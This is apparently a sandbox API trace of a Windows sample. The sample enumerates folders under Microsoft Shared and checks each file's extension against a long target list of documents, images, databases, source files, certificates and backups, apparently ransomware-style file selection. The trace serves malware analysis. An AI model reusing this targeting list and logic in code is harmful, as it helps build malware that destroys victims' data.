	[0091.980] lstrcmpiW (lpString1=".p7b", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".p7c") returned 4
	[0091.980] lstrcmpiW (lpString1=".p7c", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".pam") returned 4
	[0091.980] lstrcmpiW (lpString1=".pam", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".pbm") returned 4
	[0091.980] lstrcmpiW (lpString1=".pbm", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".pct") returned 4
	[0091.980] lstrcmpiW (lpString1=".pct", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".pcx") returned 4
	[0091.980] lstrcmpiW (lpString1=".pcx", lpString2=".XML") returned -1
	[0091.981] lstrlenW (lpString=".pdd") returned 4
	[0091.981] lstrcmpiW (lpString1=".pdd", lpString2=".XML") returned -1
	[0091.981] lstrlenW (lpString=".pdf") returned 4
	[0091.981] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0091.981] lstrlenW (lpString=".pdp") returned 4
	[0091.981] lstrcmpiW (lpString1=".pdp", lpString2=".XML") returned -1
	[0091.981] lstrlenW (lpString=".pef") returned 4
	[0091.981] lstrcmpiW (lpString1=".pef", lpString2=".XML") returned -1
	[0091.981] lstrlenW (lpString=".pem") returned 4
	[0091.981] lstrcmpiW (lpString1=".pem", lpString2=".XML") returned -1
	[0091.981] lstrlenW (lpString=".pff") returned 4
	[0091.981] lstrcmpiW (lpString1=".pff", lpString2=".XML") returned -1
	[0091.981] lstrlenW (lpString=".pfm") returned 4
	[0091.981] lstrcmpiW (lpString1=".pfm", lpString2=".XML") returned -1
	[0091.981] lstrlenW (lpString=".pfx") returned 4
	[0091.981] lstrcmpiW (lpString1=".pfx", lpString2=".XML") returned -1
	[0091.981] lstrlenW (lpString=".pgm") returned 4
	[0091.981] lstrcmpiW (lpString1=".pgm", lpString2=".XML") returned -1
	[0091.981] lstrlenW (lpString=".php") returned 4
	[0091.981] lstrcmpiW (lpString1=".php", lpString2=".XML") returned -1
	[0091.981] lstrlenW (lpString=".php3") returned 5
	[0091.981] lstrcmpiW (lpString1=".php3", lpString2="I.XML") returned -1
	[0091.981] lstrlenW (lpString=".php4") returned 5
	[0091.981] lstrcmpiW (lpString1=".php4", lpString2="I.XML") returned -1
	[0091.981] lstrlenW (lpString=".php5") returned 5
	[0091.981] lstrcmpiW (lpString1=".php5", lpString2="I.XML") returned -1
	[0091.981] lstrlenW (lpString=".phtml") returned 6
	[0091.981] lstrcmpiW (lpString1=".phtml", lpString2="UI.XML") returned -1
	[0091.981] lstrlenW (lpString=".pict") returned 5
	[0091.982] lstrcmpiW (lpString1=".pict", lpString2="I.XML") returned -1
	[0091.982] lstrlenW (lpString=".pl") returned 3
	[0091.982] lstrcmpiW (lpString1=".pl", lpString2="XML") returned -1
	[0091.982] lstrlenW (lpString=".pls") returned 4
	[0091.982] lstrcmpiW (lpString1=".pls", lpString2=".XML") returned -1
	[0091.982] lstrlenW (lpString=".pm") returned 3
	[0091.982] lstrcmpiW (lpString1=".pm", lpString2="XML") returned -1
	[0091.982] lstrlenW (lpString=".png") returned 4
	[0091.982] lstrcmpiW (lpString1=".png", lpString2=".XML") returned -1
	[0091.982] lstrlenW (lpString=".pnm") returned 4
	[0091.982] lstrcmpiW (lpString1=".pnm", lpString2=".XML") returned -1
	[0091.982] lstrlenW (lpString=".pot") returned 4
	[0091.982] lstrcmpiW (lpString1=".pot", lpString2=".XML") returned -1
	[0091.982] lstrlenW (lpString=".potm") returned 5
	[0091.982] lstrcmpiW (lpString1=".potm", lpString2="I.XML") returned -1
	[0091.982] lstrlenW (lpString=".potx") returned 5
	[0091.982] lstrcmpiW (lpString1=".potx", lpString2="I.XML") returned -1
	[0091.982] lstrlenW (lpString=".ppa") returned 4
	[0091.982] lstrcmpiW (lpString1=".ppa", lpString2=".XML") returned -1
	[0091.982] lstrlenW (lpString=".ppam") returned 5
	[0091.982] lstrcmpiW (lpString1=".ppam", lpString2="I.XML") returned -1
	[0091.982] lstrlenW (lpString=".ppm") returned 4
	[0091.982] lstrcmpiW (lpString1=".ppm", lpString2=".XML") returned -1
	[0091.982] lstrlenW (lpString=".pps") returned 4
	[0091.982] lstrcmpiW (lpString1=".pps", lpString2=".XML") returned -1
	[0091.982] lstrlenW (lpString=".ppsm") returned 5
	[0091.982] lstrcmpiW (lpString1=".ppsm", lpString2="I.XML") returned -1
	[0091.982] lstrlenW (lpString=".ppt") returned 4
	[0091.983] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0091.983] lstrlenW (lpString=".pptm") returned 5
	[0091.983] lstrcmpiW (lpString1=".pptm", lpString2="I.XML") returned -1
	[0091.983] lstrlenW (lpString=".pptx") returned 5
	[0091.983] lstrcmpiW (lpString1=".pptx", lpString2="I.XML") returned -1
	[0091.983] lstrlenW (lpString=".prn") returned 4
	[0091.983] lstrcmpiW (lpString1=".prn", lpString2=".XML") returned -1
	[0091.983] lstrlenW (lpString=".ps") returned 3
	[0091.983] lstrcmpiW (lpString1=".ps", lpString2="XML") returned -1
	[0091.983] lstrlenW (lpString=".psb") returned 4
	[0091.983] lstrcmpiW (lpString1=".psb", lpString2=".XML") returned -1
	[0091.983] lstrlenW (lpString=".psd") returned 4
	[0091.983] lstrcmpiW (lpString1=".psd", lpString2=".XML") returned -1
	[0091.983] lstrlenW (lpString=".pst") returned 4
	[0091.983] lstrcmpiW (lpString1=".pst", lpString2=".XML") returned -1
	[0091.983] lstrlenW (lpString=".ptx") returned 4
	[0091.983] lstrcmpiW (lpString1=".ptx", lpString2=".XML") returned -1
	[0091.983] lstrlenW (lpString=".pub") returned 4
	[0091.983] lstrcmpiW (lpString1=".pub", lpString2=".XML") returned -1
	[0091.983] lstrlenW (lpString=".pwm") returned 4
	[0091.983] lstrcmpiW (lpString1=".pwm", lpString2=".XML") returned -1
	[0091.984] lstrlenW (lpString=".pxr") returned 4
	[0091.984] lstrcmpiW (lpString1=".pxr", lpString2=".XML") returned -1
	[0091.984] lstrlenW (lpString=".py") returned 3
	[0091.984] lstrcmpiW (lpString1=".py", lpString2="XML") returned -1
	[0091.984] lstrlenW (lpString=".qt") returned 3
	[0091.984] lstrcmpiW (lpString1=".qt", lpString2="XML") returned -1
	[0091.984] lstrlenW (lpString=".r3d") returned 4
	[0091.984] lstrcmpiW (lpString1=".r3d", lpString2=".XML") returned -1
	[0091.984] lstrlenW (lpString=".raf") returned 4
	[0091.984] lstrcmpiW (lpString1=".raf", lpString2=".XML") returned -1
	[0091.984] lstrlenW (lpString=".rar") returned 4
	[0091.984] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0091.984] lstrlenW (lpString=".raw") returned 4
	[0091.984] lstrcmpiW (lpString1=".raw", lpString2=".XML") returned -1
	[0091.984] FindClose (in: hFindFile=0x51d8a0 | out: hFindFile=0x51d8a0) returned 1
	[0091.985] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f5c2c8 | out: hHeap=0x4a0000) returned 1
	[0091.987] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1
	[0091.987] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f5c2c8
	[0091.988] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d8a0
	[0091.988] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.988] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0091.989] FindClose (in: hFindFile=0x51d8a0 | out: hFindFile=0x51d8a0) returned 1
	[0091.989] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f5c2c8 | out: hHeap=0x4a0000) returned 1
	[0091.989] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1
	[0091.989] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f5c2c8
	[0091.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d8a0
	[0091.989] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.989] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0091.989] FindClose (in: hFindFile=0x51d8a0 | out: hFindFile=0x51d8a0) returned 1
	[0091.989] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f5c2c8 | out: hHeap=0x4a0000) returned 1
	[0091.989] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1
	[0091.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f5c2c8
	[0091.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d8a0
	[0091.990] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.990] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1
	[0091.990] FindClose (in: hFindFile=0x51d8a0 | out: hFindFile=0x51d8a0) returned 1
	[0091.990] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f5c2c8 | out: hHeap=0x4a0000) returned 1
	[0091.990] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1
	[0091.990] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f5c2c8
	[0091.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d8a0
	[0091.991] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.991] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1
	[0091.991] FindClose (in: hFindFile=0x51d8a0 | out: hFindFile=0x51d8a0) returned 1
	[0091.991] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f5c2c8 | out: hHeap=0x4a0000) returned 1
	[0091.991] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1
	[0091.991] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f5c2c8
	[0093.433] FindClose (in: hFindFile=0x51d820 | out: hFindFile=0x51d820) returned 1
	[0093.433] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3ec0130 | out: hHeap=0x4a0000) returned 1
	[0093.433] FindNextFileW (in: hFindFile=0x51d660, lpFindFileData=0x2ecf310 | out: lpFindFileData=0x2ecf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1
	[0093.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d7a0
	[0093.976] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.976] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0094.515] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0094.515] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0094.515] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0094.515] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1
	[0094.516] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1
	[0094.516] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1
	[0094.516] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1
	[0094.516] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0094.516] lstrcmpiW (lpString1=".accda", lpString2="ck.png") returned -1
	[0094.516] lstrcmpiW (lpString1=".accdb", lpString2="ck.png") returned -1
	[0094.516] lstrcmpiW (lpString1=".accdc", lpString2="ck.png") returned -1
	[0094.516] lstrcmpiW (lpString1=".accde", lpString2="ck.png") returned -1
	[0094.516] lstrcmpiW (lpString1=".accdt", lpString2="ck.png") returned -1
	[0094.516] lstrcmpiW (lpString1=".accdw", lpString2="ck.png") returned -1
	[0094.516] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1
	[0094.516] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1
	[0094.516] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1
	[0094.516] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1
	[0094.516] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1
	[0094.516] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1
	[0094.516] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1
	[0094.516] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1
	[0094.516] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".anim", lpString2="k.png") returned -1
	[0094.517] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".as", lpString2="png") returned -1
	[0094.517] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".ascx", lpString2="k.png") returned -1
	[0094.517] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".asmx", lpString2="k.png") returned -1
	[0094.517] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".aspx", lpString2="k.png") returned -1
	[0094.517] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".backup", lpString2="ack.png") returned -1
	[0094.517] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1
	[0094.517] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1
	[0094.518] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1
	[0094.518] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1
	[0094.518] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".cfml", lpString2="k.png") returned -1
	[0094.518] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".class", lpString2="ck.png") returned -1
	[0094.518] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".config", lpString2="ack.png") returned -1
	[0094.518] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1
	[0094.518] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1
	[0094.519] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".db", lpString2="png") returned -1
	[0094.519] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1
	[0094.519] lstrcmpiW (lpString1=".divx", lpString2="k.png") returned -1
	[0094.519] lstrcmpiW (lpString1=".djvu", lpString2="k.png") returned -1
